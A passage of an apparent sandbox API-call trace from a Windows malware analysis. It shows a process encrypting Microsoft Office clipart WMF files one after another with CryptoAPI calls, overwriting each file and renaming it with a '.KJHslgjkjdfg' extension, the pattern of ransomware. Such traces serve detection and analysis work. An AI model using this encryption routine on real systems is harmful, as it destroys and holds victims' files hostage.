[0200.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.301] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.301] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7b2, lpOverlapped=0x0) returned 1 [0200.301] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c0) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.301] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c0, lpOverlapped=0x0) returned 1 [0200.301] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.301] SetEndOfFile (hFile=0x130) returned 1 [0200.303] GetProcessHeap () returned 0x990000 [0200.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.303] GetProcessHeap () returned 0x990000 [0200.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.kjhslgjkjdfg")) returned 1 [0200.305] CloseHandle (hObject=0x130) returned 1 [0200.305] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0200.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.305] GetProcessHeap () returned 0x990000 [0200.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.306] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.309] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.309] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.309] GetProcessHeap () returned 0x990000 [0200.309] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.309] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.309] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.309] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.309] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.309] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.309] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.310] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.310] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.310] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7938, lpOverlapped=0x0) returned 1 [0200.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7940, dwBufLen=0x7940 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7940) returned 1 [0200.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.311] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7940, lpOverlapped=0x0) returned 1 [0200.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.311] SetEndOfFile (hFile=0x130) returned 1 [0200.314] GetProcessHeap () returned 0x990000 [0200.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.314] GetProcessHeap () returned 0x990000 [0200.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.kjhslgjkjdfg")) returned 1 [0200.315] CloseHandle (hObject=0x130) returned 1 [0200.315] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0200.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.316] GetProcessHeap () returned 0x990000 [0200.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.316] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.316] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.318] GetProcessHeap () returned 0x990000 [0200.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.318] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.318] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.318] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.318] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.318] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.318] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.318] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6958, lpOverlapped=0x0) returned 1 [0200.319] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6960, dwBufLen=0x6960 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6960) returned 1 [0200.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.320] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6960, lpOverlapped=0x0) returned 1 [0200.320] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.320] SetEndOfFile (hFile=0x130) returned 1 [0200.323] GetProcessHeap () returned 0x990000 [0200.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.323] GetProcessHeap () returned 0x990000 [0200.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.kjhslgjkjdfg")) returned 1 [0200.324] CloseHandle (hObject=0x130) returned 1 [0200.324] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0200.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.325] GetProcessHeap () returned 0x990000 [0200.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.325] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.327] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.327] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.327] GetProcessHeap () returned 0x990000 [0200.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.327] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.327] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.328] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.328] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.328] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.328] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.328] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.328] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.328] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1100c, lpOverlapped=0x0) returned 1 [0200.329] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11010, dwBufLen=0x11010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11010) returned 1 [0200.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.330] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11010, lpOverlapped=0x0) returned 1 [0200.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x110e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.330] SetEndOfFile (hFile=0x130) returned 1 [0200.333] GetProcessHeap () returned 0x990000 [0200.333] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.333] GetProcessHeap () returned 0x990000 [0200.333] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.kjhslgjkjdfg")) returned 1 [0200.334] CloseHandle (hObject=0x130) returned 1 [0200.335] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0200.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.336] GetProcessHeap () returned 0x990000 [0200.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.336] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.336] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0200.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.339] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.339] GetProcessHeap () returned 0x990000 [0200.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.339] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.339] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.339] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.339] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xae2, lpOverlapped=0x0) returned 1 [0200.339] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xaf0) returned 1 [0200.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.339] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xaf0, lpOverlapped=0x0) returned 1 [0200.340] CryptDestroyKey 